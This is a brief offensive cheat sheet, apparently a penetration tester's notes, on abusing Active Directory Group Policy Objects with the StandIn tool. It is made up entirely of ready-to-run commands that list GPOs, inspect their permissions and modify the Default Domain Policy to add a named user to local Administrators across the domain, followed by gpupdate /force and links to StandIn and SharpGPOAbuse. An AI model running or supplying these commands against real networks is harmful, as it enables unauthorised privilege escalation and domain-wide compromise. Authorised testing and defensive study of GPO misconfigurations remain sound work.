StandIn - GPO Abuse
List available GPOs
.\StandIn.exe --gpo
Inspect GPO ACLs
.\StandIn.exe --gpo --filter "Default Domain Policy" --acl
Add current user to local Administrators via GPO
.\StandIn.exe --gpo --filter "Default Domain Policy" --localadmin charlotte
gpupdate /force
Reference: https://github.com/FuzzySecurity/StandIn
Alternative
https://github.com/FSecureLABS/SharpGPOAbuse